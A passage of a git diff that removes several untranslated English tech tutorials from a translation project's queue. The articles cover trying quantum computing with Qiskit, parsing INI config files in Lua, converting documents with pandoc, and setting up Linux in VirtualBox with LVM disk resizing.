https://opensource.com/article/18/8/what-cicd -[11]: https://opensource.com/sites/default/files/uploads/jmeter.png (Apache JMeter) -[12]: https://jmeter.apache.org -[13]: https://www.redhat.com/sysadmin/yaml-beginners -[14]: https://opensource.com/article/18/10/getting-started-minikube -[15]: https://opensource.com/article/20/6/kubernetes-raspberry-pi -[16]: https://opensource.com/downloads/kubernetes-raspberry-pi diff --git a/sources/tech/20210619 Try quantum computing with this open source software development kit.md b/sources/tech/20210619 Try quantum computing with this open source software development kit.md deleted file mode 100644 index a36b70ca20..0000000000 --- a/sources/tech/20210619 Try quantum computing with this open source software development kit.md +++ /dev/null @@ -1,119 +0,0 @@ -[#]: subject: (Try quantum computing with this open source software development kit) -[#]: via: (https://opensource.com/article/21/6/qiskit) -[#]: author: (Gordon Haff https://opensource.com/users/ghaff) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Try quantum computing with this open source software development kit -====== -Qiskit is an open source software development kit for accessing quantum -simulators and hardware for free. -![Tips and gears turning][1] - -Classical computing is based on bits. Zeros and ones. This isn't because there's some inherent advantage to a binary logic system over logic systems with more states—or even over analog computers. But on-off switches are easy to make and, with modern semiconductor technology, we can make them very small and very cheap. - -But they're not without limits. Some problems just can't be efficiently solved by a classical computer. These tend to be problems where the cost, in time or memory, increases exponentially with the scale (`n`) of the problem. We say such problems are `O(2n)` in [Big O notation][2]. - -Much of modern cryptography even depends on this characteristic. Multiplying two, even large, prime numbers together is fairly cheap computationally (`O(n2)`). But reversing the operation takes exponential time. Use large enough numbers, and decryption that depends on such a factoring attack is infeasible. - -### Enter quantum - -A detailed primer on the mathematical and quantum mechanical underpinnings of quantum computing is beyond the scope of this article. However, here are some basics. - -A quantum computer replaces bits with [qubits][3]—controllable units of computing that display quantum properties. Qubits are typically made out of either an engineered superconducting component or a naturally occurring quantum object such as an electron. Qubits can be placed into a "superposition" state that is a complex combination of the 0 and 1 states. You sometimes hear that qubits are _both_ 0 and 1, but that's not really accurate. What is true is that, when a measurement is made, the qubit state will collapse into a 0 or 1. Mathematically, the (unmeasured) quantum state of the qubit is a point on a geometric representation called the [Bloch sphere][4]. - -While superposition is a novel property for anyone used to classical computing, one qubit by itself isn't very interesting. The next unique quantum computational property is "interference." Real quantum computers are essentially statistical in nature. Quantum algorithms encode an interference pattern that increases the probability of measuring a state encoding the solution. - -While novel, superposition and interference do have some analogs in the physical world. The quantum mechanical property "entanglement" doesn't, and it's the real key to exponential quantum speedups. With entanglement, measurements on one particle can affect the outcome of subsequent measurements on any entangled particles—even ones not physically connected. - -### What can quantum do? - -Today's quantum computers are quite small in terms of the number of qubits they contain—tens to hundreds. Thus, while algorithms are actively being developed, the hardware needed to run them faster than their classical equivalents doesn't exist. - -But there's considerable interest in quantum computing in many fields. For example, quantum computers may offer a good way to simulate natural quantum systems, like molecules, whose complexity rapidly exceeds the ability of classical computers to model them accurately. Quantum computing is also tied mathematically to linear algebra, which underpins machine learning and many other modern optimization problems. Therefore, it's reasonable to think quantum computing could be a good fit there as well. - -One commonly cited example of an existing quantum algorithm likely to outperform classical algorithms is [Shor's algorithm][5], which can do the factoring mentioned earlier. Invented by MIT mathematician Peter Shor in 1994, quantum computers can't yet run the algorithm on larger than trivially sized problems. But it's been demonstrated to work in polynomial `O(n3)` time rather than the exponential time required by classical algorithms. - -### Getting started with Qiskit - -At this point, you may be thinking: "But I don't have a quantum computer, and I really like to get hands-on. Is there any hope?" - -Enter an open source (Apache 2.0 licensed) project called [Qiskit][6]. It's a software development kit (SDK) for accessing both the quantum computing simulators and the actual quantum hardware (for free) in the IBM Quantum Experience. You just need to sign up for an API key. - -Certainly, a deep dive into Qiskit, to say nothing of the related linear algebra, is far beyond what I can get into here. If you seek such a dive, there are [many free resources online][7], including a complete textbook. However, dipping a toe in the water is straightforward, requiring only some surface-level knowledge of Python and Jupyter Notebooks. - -To give you a taste, let's do a "Hello, World!" program entirely within the [Qiskit textbook][8]. - -Begin by installing some tools and widgets specific to the textbook: - - -``` -`pip install git+https://github.com/qiskit-community/qiskit-textbook.git#subdirectory=qiskit-textbook-src` -``` - -Next, do the imports: - - -``` -from qiskit import QuantumCircuit, assemble, Aer -from math import pi, sqrt -from qiskit.visualization import plot_bloch_multivector, plot_histogram -``` - -Aer is the local simulator. Qiskit consists of four components: **Aer**, the **Terra** foundation, **Ignis** for dealing with noise and errors on real quantum systems, and **Aqua** for algorithm development. - - -``` -# Let's do an X-gate on a |0> qubit -qc = QuantumCircuit(1) -qc.x(0) -qc.draw() -``` - -An **X-gate** in quantum computing is similar to a **Not gate** in classical computing, although the underlying math actually involves matrix multiplication. (It is, in fact, often called a **NOT-gate**.) - -Now, run it and do a measurement. The result is as you would expect because the qubit was initialized in a `|0>` state, then inverted, and measured. (Use `|0>` and `|1>` to distinguish from classic bits.) - - -``` -# Let's see the result -svsim = Aer.get_backend('statevector_simulator') -qobj = assemble(qc) -state = svsim.run(qobj).result().get_statevector() -plot_bloch_multivector(state) -``` - -![Bloch sphere showing the expected result][9] - -Bloch sphere showing the expected result. (Gordon Haff, [CC-BY-SA 4.0][10]) - -### Conclusion - -In some respects, you can think of quantum computing as a sort of exotic co-processor for classical computers in the same manner as graphics processing units (GPUs) and field-programmable gate arrays (FPGAs). One difference is that quantum computers will be accessed almost entirely as network resources for the foreseeable future. Another is that they work fundamentally differently, which makes them unlike most other accelerators you might be familiar with. That's why there's so much interest in algorithm development and significant resources going in to determine where and when quantum fits best. It wouldn't hurt to see what all the fuss is about. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/qiskit - -作者:[Gordon Haff][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/ghaff -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/gears_devops_learn_troubleshooting_lightbulb_tips_520.png?itok=HcN38NOk (Tips and gears turning) -[2]: https://en.wikipedia.org/wiki/Big_O_notation -[3]: https://en.wikipedia.org/wiki/Qubit -[4]: https://en.wikipedia.org/wiki/Bloch_sphere -[5]: https://en.wikipedia.org/wiki/Shor%27s_algorithm -[6]: https://qiskit.org/ -[7]: https://qiskit.org/learn -[8]: https://qiskit.org/textbook/preface.html -[9]: https://opensource.com/sites/default/files/uploads/bloch-sphere.png (Bloch sphere showing the expected result) -[10]: https://creativecommons.org/licenses/by-sa/4.0/ diff --git a/sources/tech/20210623 Parsing config files with Lua.md b/sources/tech/20210623 Parsing config files with Lua.md deleted file mode 100644 index 50b47fa003..0000000000 --- a/sources/tech/20210623 Parsing config files with Lua.md +++ /dev/null @@ -1,231 +0,0 @@ -[#]: subject: (Parsing config files with Lua) -[#]: via: (https://opensource.com/article/21/6/parsing-config-files-lua) -[#]: author: (Seth Kenlon https://opensource.com/users/seth) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Parsing config files with Lua -====== -Configure persistent application settings with the Lua programming -language. -![Woman sitting in front of her computer][1] - -Not all applications need configuration files; many applications benefit from starting fresh each time they are launched. Simple utilities, for instance, rarely require preferences or settings that persist across uses. However, when you write a complex application, it's nice for users to be able to configure how they interact with it and how it interacts with their system. That's what configuration files are for, and this article discusses some of the ways you can implement persistent settings with the Lua programming language. - -### Choose a format - -The important thing about configuration files is that they are consistent and predictable. You do not want to dump information into a file under the auspices of saving user preferences and then spend days writing code to reverse-engineer the random bits of information that have ended up in the file. - -There are several popular [formats for configuration files][2]. Lua has libraries for most of the common configuration formats; in this article, I'll use the INI format. - -### Installing the library - -The central hub for Lua libraries is [Luarocks.org][3]. You can search for libraries on the website, or you can install and use the `luarocks` terminal command. - -On Linux, you can install it from your distribution's software repository. For example: - - -``` -`$ sudo dnf install luarocks` -``` - -On macOS, use [MacPorts][4] or [Homebrew][5]. On Windows, use [Chocolatey][6]. - -Once `luarocks` is installed, you can use the `search` subcommand to search for an appropriate library. If you don't know the name of a library, you can search for a keyword, like `ini` or `xml` or `json`, depending on what's relevant to what you're trying to do. In this case, you can just search for `inifile`, which is the library I use to parse text files in the INI format: - - -``` -$ luarocks search inifile -Search results: -inifile - 1.0-2 (rockspec) - - 1.0-2 (src) - - 1.0-1 (rockspec) - - [...] -``` - -A common trap programmers fall into is installing a library on their system and forgetting to bundle it with their application. This can create problems for users who don't have the library installed. To avoid this, use the `--tree` option to install the library to a local folder within your project directory. If you don't have a project directory, create one first, and then install: - - -``` -$ mkdir demo -$ cd demo -$ luarocks install --tree=local inifile -``` - -The `--tree` option tells `luarocks` to create a new directory, called `local` in this case, and install your library into it. With this simple trick, you can install all the dependency code your project uses directly into the project directory. - -### Code setup - -First, create some INI data in a file called `myconfig.ini`: - - -``` -[example] -name=Tux -species=penguin -enabled=false - -[demo] -name=Beastie -species=demon -enabled=false -``` - -Save the file as `myconfig.ini` into your home directory, _not_ into your project directory. You usually want configuration files to exist outside your application so that even when a user uninstalls your application, the data they generate while using the application remains on their system. Users might remove unnecessary config files manually, but many don't. As a result, if they reinstall an application, it will retain all of their preferences. - -Config file locations are technically unimportant, but each operating system (OS) has a specification or a tradition of where they ought to be placed. On Linux, this is defined by the [Freedesktop specification][7]. It dictates that configuration files are to be saved in a hidden folder named `~/.config`. For clarity during this exercise, just save the file in your home directory so that it's easy to find and use. - -Create a second file named `main.lua` and open it in your favorite text editor. - -First, you must tell Lua where you've placed the additional library you want it to use. The `package.path` variable determines where Lua looks for libraries. You can view Lua's default package path in a terminal: - - -``` -$ Lua -> print(package.path) -./?.lua;/usr/share/lua/5.3/?.lua;/usr/share/lua/5.3/?/init.lua;/usr/lib64/lua/5.3/?.lua;/usr/lib64/lua/5.3/?/init.lua -``` - -In your Lua code, append your local library location to `package.path`: - - -``` -`package.path = package.path .. ';local/share/lua/5.3/?.lua` -``` - -### Parsing INI files with Lua - -With the package location established, the next thing to do is to require the `inifile` library and then handle some OS logistics. Even though this is a simple example application, the code needs to get the user's home directory location from the OS and establish how to communicate filesystem paths back to the OS when necessary: - - -``` -package.path = package.path .. ';local/share/lua/5.3/?.lua -inifile = require('inifile') - -\-- find home directory -home = os.getenv('HOME') - -\-- detect path separator -\-- returns '/' for Linux and Mac -\-- and '\' for Windows -d = package.config:sub(1,1) -``` - -Now you can use `inifile` to parse data from the config file into a Lua table. Once the data has been placed into a table, you can query the table as you would any other Lua table: - - -``` -\-- parse the INI file and -\-- put values into a table called conf -conf = inifile.parse(home .. d .. 'myconfig.ini') - -\-- print the data for review -print(conf['example']['name']) -print(conf['example']['species']) -print(conf['example']['enabled']) -``` - -Run the code in a terminal to see the results: - - -``` -$ lua ./main.lua -Tux -penguin -false -``` - -That looks correct. Try doing the same for the `demo` block. - -### Saving data in the INI format - -Not all parser libraries read and write data (often called _encoding_ and _decoding_), but the `inifile` library does. That means you can use it to make changes to a configuration file. - -To change a value in a configuration file, you set the variable representing the value in the parsed table, and then you write the table back to the configuration file: - - -``` -\-- set enabled to true -conf['example']['enabled'] = true -conf['demo']['enabled'] = true - -\-- save the change -inifile.save(home .. d .. 'myconfig.ini', conf) -``` - -Take a look at the configuration file now: - - -``` -$ cat ~/myconfig.ini -[example] -name=Tux -species=penguin -enabled=true - -[demo] -name=Beastie -species=demon -enabled=true -``` - -### Config files - -The ability to save data about how a user wants to use an application is an important part of programming. Fortunately, it's a common task for programmers, so much of the work has probably already been done. Find a good library for encoding and decoding into an open format, and you can provide a persistent and consistent user experience. - -Here's the entire demo code for reference: - - -``` -package.path = package.path .. ';local/share/lua/5.3/?.lua' -inifile = require('inifile') - -\-- find home directory -home = os.[getenv][8]('HOME') - -\-- detect path separator -\-- returns '/' for Linux and Mac -\-- and '\' for Windows -d = package.config:sub(1,1) - -\-- parse the INI file and -\-- put values into a table called conf -conf = inifile.parse(home .. d .. 'myconfig.ini') - -\-- print the data for review -print(conf['example']['name']) -print(conf['example']['species']) -print(conf['example']['enabled']) - -\-- enable Tux -conf['example']['enabled'] = true - -\-- save the change -inifile.save(home .. d .. 'myconfig.ini', conf) -``` - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/parsing-config-files-lua - -作者:[Seth Kenlon][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/seth -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/OSDC_women_computing_2.png?itok=JPlR5aCA (Woman sitting in front of her computer) -[2]: https://opensource.com/article/21/6/config-files-and-their-formats -[3]: https://opensource.com/article/19/11/getting-started-luarocks -[4]: https://opensource.com/article/20/11/macports -[5]: https://opensource.com/article/20/6/homebrew-mac -[6]: https://opensource.com/article/20/3/chocolatey -[7]: https://www.freedesktop.org/wiki/Specifications -[8]: http://www.opengroup.org/onlinepubs/009695399/functions/getenv.html diff --git a/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md b/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md deleted file mode 100644 index e6abce3857..0000000000 --- a/sources/tech/20210627 How to Convert File Formats With Pandoc in Linux -Quick Guide.md +++ /dev/null @@ -1,137 +0,0 @@ -[#]: subject: (How to Convert File Formats With Pandoc in Linux [Quick Guide]) -[#]: via: (https://itsfoss.com/pandoc-convert-file/) -[#]: author: (Bill Dyer https://itsfoss.com/author/bill/) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -How to Convert File Formats With Pandoc in Linux [Quick Guide] -====== - -In an earlier article, I covered the [procedure to batch convert a handful of Markdown files to HTML][1] using pandoc. In that article, multiple HTML files were created, but pandoc can do much more. It has been called “the Swiss army knife” of document conversion – and with good reason. There isn’t a lot that it can’t do. - -[Pandoc][2] can covert .docx, .odt, .html, .epub, LaTeX, DocBook, etc. to these and other formats, such as JATS, TEI Simple, AsciiDoc, and more. - -Yes, this means that pandoc can convert .docx files to .pdf and .html, but you may be thinking: “Word can export files to .pdf and .html too. Why would I need pandoc?” - -You would have a good point there, but since pandoc can convert so many formats, it could well become your go-to tool for all of your conversion tasks. For example, many of us know that [Markdown editors][3] can export its Markdown files to .html. With pandoc, Markdown files can be converted to numerous other formats as well. - -I rarely have Markdown export to HTML; I normally let pandoc do it. - -### Converting File Formats with Pandoc - -![][4] - -Here, I will convert Markdown files into a few different formats. I do almost all of my writing using Markdown syntax, but I often have to convert to another format: .docx files are usually required for school work, .html for web pages that I create – and for .epub work, .pdf for flyers and handouts, and even an occasional TEI Simple file for a university digital humanities project. Pandoc can handle all of these, and more, easily. - -First, you need to [install pandoc][5]. Also, to create .pdf files, LaTeX will be needed as well. The package I prefer is [TeX Live][6]. - -**Note**: If you would like to try out pandoc before installing it, there is an online try-out page at: - -#### Installing pandoc and texlive - -Users of Ubuntu and other Debian distros can type the following commands in the terminal: - -``` -sudo apt-get update -sudo apt-get install pandoc texlive -``` - -Notice on the second line, you are installing pandoc and texlive in one shot. [apt-get command][7] will have no problem with this, but go get some coffee; this may take a few minutes. - -#### Getting to Conversion - -Once pandoc and texlive are installed, you can burn through some work! - -The sample document for this project will be an article that was first published in the _North American Review_ in December of 1894, and is titled: “How To Repel Train Robbers”. The Markdown file that I will be using was created some time ago as part of a restoration project. - -The file: `how_to_repel_train_robbers.md` is located in my Documents directory, in a sub-directory named samples. Here is what it looks like in Ghostwriter. - -![Markdown file in Ghostwriter][8] - -I want to create .docx, .pdf, and .html versions of this file. - -#### The First Conversion - -I’ll start with making a .pdf copy first, since I went through the trouble of installing a LaTeX package. - -While in the ~/Documents/samples/ directory, I type the following to create a .pdf file: - -``` -pandoc -o htrtr.pdf how_to_repel_train_robbers.md -``` - -The above command will create a file called htrtr.pdf from the how_to_repel_train_robbers.md file. The reason I used htrtr as a name was that it is shorter than how_to_repel_train_robbers – htrtr is the first letter of each word in the long title. - -Here is a snapshot of the .pdf file once it is made: - -![Converted PDF file viewed in Ocular][9] - -#### The Second Conversion - -Next, I want to create a .docx file. The command is almost identical to the one I used to create the .pdf and it is: - -``` -pandoc -o htrtr.docx how_to_repel_train_robbers.md -``` - -In no time, a .docx file is created. Here is what it looks like in Libre Writer: - -![Converted DOCX file viewed in Libre Writer][10] - -#### The Third Conversion - -I may want to post this on the web, so a web page would be nice. I will create a .html file with this command: - -``` -pandoc -o htrtr.html how_to_repel_train_robbers.md -``` - -Again, the command to create it is very much like the last two conversions. Here is what the .html file looks like in a browser: - -![Converted HTML file viewed in Firefox][11] - -#### Noticed Anything Yet? - -Let’s look at the past commands again. They were: - -``` -pandoc -o htrtr.pdf how_to_repel_train_robbers.md -pandoc -o htrtr.docx how_to_repel_train_robbers.md -pandoc -o htrtr.html how_to_repel_train_robbers.md -``` - -The only thing different about these three commands is the extension next to htrtr. This gives you a hint that pandoc relies on the extension of the output filename you provide. - -### Conclusion - -Pandoc can do far more than the three little conversions done here. If you write with a preferred format, but need to convert the file to another format, chances are great that pandoc will be able to do it for you. - -What would you do with this? Would you automate this? What if you had a web site that had articles for your readers to download? You could modify these little commands to work as a script and your readers could decide which format they would like. You could offer .docx, .pdf, .odt, .epub, or more. Your readers choose, the proper conversion script runs, and your readers download their file. It can be done. - --------------------------------------------------------------------------------- - -via: https://itsfoss.com/pandoc-convert-file/ - -作者:[Bill Dyer][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://itsfoss.com/author/bill/ -[b]: https://github.com/lujun9972 -[1]: https://itsfoss.com/convert-markdown-files/ -[2]: https://pandoc.org/ -[3]: https://itsfoss.com/best-markdown-editors-linux/ -[4]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/pandoc-quick-guide.png?resize=800%2C450&ssl=1 -[5]: https://pandoc.org/installing.html -[6]: https://www.tug.org/texlive/ -[7]: https://itsfoss.com/apt-get-linux-guide/ -[8]: https://i1.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ghostwriter.png?resize=800%2C516&ssl=1 -[9]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_ocular.png?resize=800%2C509&ssl=1 -[10]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_libre_writer.png?resize=800%2C545&ssl=1 -[11]: https://i0.wp.com/itsfoss.com/wp-content/uploads/2021/06/convert_with_pandoc_firefox.png?resize=800%2C511&ssl=1 diff --git a/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md b/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md deleted file mode 100644 index ccf231735e..0000000000 --- a/sources/tech/20210629 Try Linux on any operating system with VirtualBox.md +++ /dev/null @@ -1,325 +0,0 @@ -[#]: subject: (Try Linux on any operating system with VirtualBox) -[#]: via: (https://opensource.com/article/21/6/try-linux-virtualbox) -[#]: author: (Stephan Avenwedde https://opensource.com/users/hansic99) -[#]: collector: (lujun9972) -[#]: translator: ( ) -[#]: reviewer: ( ) -[#]: publisher: ( ) -[#]: url: ( ) - -Try Linux on any operating system with VirtualBox -====== -VirtualBox helps anyone—even a command line novice—set up a virtual -machine. -![Person programming on a laptop on a building][1] - -VirtualBox makes it easy for anyone to try Linux. You don't even need experience with the command line to set up a simple virtual machine to tinker with Linux. I'm kind of a power user when it comes to virtual machines, but this article will show even novices how to virtualize a Linux system. In addition, it provides an overview of how to run and install a Linux system for testing purposes with the open source hypervisor [VirtualBox][2]. - -### Terms - -Before starting, you should understand the difference between the two operating systems (OSes) in this setup: - - * **Host system:** This is your actual OS on which you install VirtualBox. - * **Guest system:** This is the system you want to run virtualized on top of your host system. - - - -Both systems, host and guest, must interact with each other when it comes to input/output, networking, file access, clipboard, audio, and video. - -In this tutorial, I'll use Windows 10 as the _host system_ and [Fedora 33][3] as the _guest system_. - -### Prerequisites - -When we talk about virtualization, we actually mean [hardware-assisted virtualization][4]. Hardware-assisted virtualization requires a compatible CPU. Almost every ordinary x86 CPU from the last decade comes which this feature. AMD calls it **AMD-V,** and Intel calls it **VT-x**. The virtualization feature adds some additional CPU instructions, and it can be enabled or disabled in the BIOS. - -To start with virtualization: - - * Make sure that AMD-V or VT-x is enabled in the BIOS. - * Download and install [VirtualBox][5]. - - - -### Prepare the virtual machine - -Download the image of the Linux distribution you want to try out. It does not matter if it's a 32-bit or 64-bit OS image. You can even start a 64-bit OS image on a 32-bit host system (with limitations in memory usage, of course) and vice versa. - -> **Considerations:** If possible, choose a Linux distribution that comes with the [Logical Volume Manager][6] (LVM). LVM decouples the filesystem from the physical hard drives. This allows you to increase the size of your guest system's hard drive if you are running out of space. - -Now, open VirtualBox and click on the yellow **New** button: - -![VirtualBox New VM][7] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Next, configure how much memory the guest OS is allowed to use: - -![Set VM memory size][9] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -My recommendation: **Don't skimp on memory!** When memory is low, the guest system will start paging memory from RAM to the hard drive, worsening the system's performance and responsiveness extremely. If the underlying host system starts paging, you might not notice. For a Linux workstation system with a graphical desktop environment, I recommend at least 4GB of memory. - -Next, create the hard disk: - -![Create virtual hard disk][10] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Choose the default option, **VDI**: - -![Selecting hard disk file type][11] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -In this window, I recommend choosing **dynamically allocated**, as this allows you to increase the size later. If you choose **fixed size**, the disk will be probably faster, but you won't be able to modify it: - -![Dynamically allocating hard disk][12] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -With a Linux distribution that uses LVM, you can start with a small hard disk. If you are running out of space, you can increase it on demand. - -> **Note**: Fedora's website says [it requires][13] a minimum of 20GB free disk space. I highly recommend you stick to that specification. I chose 8GB here so that I can demonstrate how to increase it later. If you are new to Linux or inexperienced with the command line, choose 20GB. - -![Setting hard disk size][14] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -After creating the hard drive, select the newly created virtual machine from the list in VirtualBox's main window and click on **Settings**. In the Settings menu, go to **System** and select the **Processor** tab. By default, VirtualBox assigns only one CPU core to the guest system. On a modern multicore CPU, it should not be any problem to assign at least two cores, which will speed up the guest system significantly: - -![Assigning cores to guest system][15] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -#### Network adapter setup - -The next thing to take care of is the network setup. By default, VirtualBox creates one NAT connection, which should be OK for most use cases: - -![Network settings][16] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You can create more than one network adapter. Here are the most common types: - - * **NAT:** The NAT adapter performs a [network address translation][17]. From the outside, it looks like the host and the guest system use the same IP address. You are not able to access the guest system from within the host system over the network. (Although you could define [port forwarding][18] to access certain services.) When your host system has access to the internet, the guest system will have access, too. NAT requires no further configuration. - * _Choose **NAT** if you only need internet access for the guest system._ - * **Bridged adapter:** Here, the guest and the host system share the same physical Ethernet device. Both systems will have independent IP addresses. From the outside, it looks like there are two separate systems in the network, both sharing the same physical Ethernet adapter. This setup is more flexible but requires more configuration. - * _Choose **Bridged adapter** if you want to share the guest system's network services._ - * **Host-only adapter:** In this configuration, the guest system can only talk to the host or other guest systems running on the same host. The host system can also connect to the guest system. There is no internet nor physical network access for the guest. - * _Choose **Host-only adapter** for advanced security._ - - - -#### Assign the OS image - -Navigate to **Storage** and select the virtual optical drive. Click on the **CD icon** on the right, and select **Choose a disk file…**. Then assign the downloaded Linux distribution image you want to install: - -![Assigning OS image][19] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -### Install Linux - -The virtual machine is now configured. Leave the **Settings** menu and go back to the main window. Click on the **Green arrow** (i.e., the start button). The virtual machine will start up and boot from the virtual optical drive, and you will find yourself in your Linux distribution's installer: - -![VirtualBox Fedora installer][20] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -#### Partitioning - -The installer will ask you for partitioning information during the installation process. Choose **Custom**: - -![Selecting Custom partition configuration][21] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -> **Note:** I'm assuming you're creating this virtual machine just for testing purposes. Also you don't need to care about hibernation for your guest system, as this function is implicitly provided by VirtualBox. Therefore, you can omit the swap partition to save disk space on your host system. Keep in mind that you can add a swap partition later if needed. In [_An introduction to swap space on Linux systems_][22], David Both explains how to add a swap partition and choose the correct size. - -Fedora 33 and later offer a [zram][23] partition, a compressed part of the memory used for paging and swap. The zram partition is resized on demand, and it is much faster than a hard disk swap partition. - -To keep it simple, just add these two mount points: - -![Adding mount points][24] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Apply the changes and proceed with the installation. - -### Install VirtualBox Guest Additions - -After you finish the installation, boot from the hard drive and log in. Now you can install VirtualBox Guest Additions, which include special device drivers and system applications that provide: - - * Shared clipboard - * Shared folders - * Better performance - * Freely scalable window size - - - -To install them, click on the top menu in **Devices** and select **Insert Guest Additions CD image…**: - -![Selecting Guest Additions CD image][25] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -On most Linux distributions, the CD image with the Guest Additions is mounted automatically, and they are available in the file browser. Fedora will ask you if you want to run the installation script. Click **Run** and enter your credentials to grant the process root rights: - -![Enabling Guest Additions autorun][26] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -When the installation is finished, reboot the system. - -### LVM: Enlarge disk space - -Creating an 8GB hard disk was a dumb decision, as Fedora quickly starts signaling that it is running out of space: - -![Fedora hard disk running out of space][27] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -As I mentioned, a disk space of 20GB is recommended, and 8GB is the _absolute_ minimum for a Fedora 33 installation to boot up. A fresh installation with no additional software (except the VirtualBox Guest Additions) takes nearly the whole 8GB of available space. Don't open the GNOME Software center or anything else that might download files from the internet in this condition. - -Luckily, I chose to use LVM, so I can easily fix this mishap. - -To increase the filesystem's space within the virtual machine, you must first increase the virtual hard drive on your host system. - -Shut down the virtual machine. If your host system is running Windows, open a command prompt and navigate to `C:\Program Files\Oracle\VirtualBox`. Resize the disk to 12,000MB with the following command: - - -``` -`VBoxManage.exe modifyhd "C:\Users\StephanA\VirtualBox VMs\Fedora_33\Fedora_33.vdi" --resize 12000` -``` - -Boot the virtual machine and open the **Disks** utility. You should see the newly created unassigned free space. Select **Free Space** and click the **+** button: - -![Free space before adding][28] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Now, create a new partition. Select the amount of free space you want to use: - -![Creating a new partition and setting size][29] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -You don't want to create a filesystem or anything else on your new partition, so select **Other**: - -![Selecting "other" for partition volume type][30] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Select **No Filesystem**: - -![Setting "No filesystem" on new partition][31] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -The overview should now look like this: - -![VirtualBox after adding new partition][32] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -There is a new partition device, **/dev/sda3**. Check your LVM volume group by typing `vgscan`: - -![Checking LVM volume group by typing vgscan:][33] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Now you have everything you need. Extend the volume group in the new partition: - - -``` -`vgextend fedora_localhost-live /dev/sda3` -``` - -![vgextend command output][34] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Because the volume group is larger, you can increase the size of the logical volume. The command `vgdisplay` shows that it has 951 free extends available: - -![vgdisplay command output][35] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Increase the logical volume by 951 extends: - - -``` -`lvextend -l+951 /dev/mapper/fedora_localhost--live-root` -``` - -![lvextend command output][36] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -After you increase the logical volume, the last thing to do is to resize the filesystem: - - -``` -`resize2fs /dev/mapper/fedora_localhost--live-root` -``` - -![resize2fs command output][37] - -(Stephan Avenwedde, [CC BY-SA 4.0][8]) - -Done! Check the **Disk Usage Analyzer**, and you should see that the extended space is available for the filesystem. - -### Summary - -With a virtual machine, you can check how a piece of software behaves with a specific operating system or a specific version of an operating system. Besides that, you can also try out any Linux distribution you want to test without worrying about breaking your system. For advanced users, VirtualBox offers a wide range of possibilities when it comes to testing, networking, and simulation. - --------------------------------------------------------------------------------- - -via: https://opensource.com/article/21/6/try-linux-virtualbox - -作者:[Stephan Avenwedde][a] -选题:[lujun9972][b] -译者:[译者ID](https://github.com/译者ID) -校对:[校对者ID](https://github.com/校对者ID) - -本文由 [LCTT](https://github.com/LCTT/TranslateProject) 原创编译,[Linux中国](https://linux.cn/) 荣誉推出 - -[a]: https://opensource.com/users/hansic99 -[b]: https://github.com/lujun9972 -[1]: https://opensource.com/sites/default/files/styles/image-full-size/public/lead-images/computer_code_programming_laptop.jpg?itok=ormv35tV (Person programming on a laptop on a building) -[2]: https://www.virtualbox.org/ -[3]: https://getfedora.org/ -[4]: https://en.wikipedia.org/wiki/Hardware-assisted_virtualization -[5]: https://www.virtualbox.org/wiki/Downloads -[6]: https://en.wikipedia.org/wiki/Logical_Volume_Manager_(Linux) -[7]: https://opensource.com/sites/default/files/uploads/virtualbox_new_vm.png (VirtualBox New VM) -[8]: https://creativecommons.org/licenses/by-sa/4.0/ -[9]: 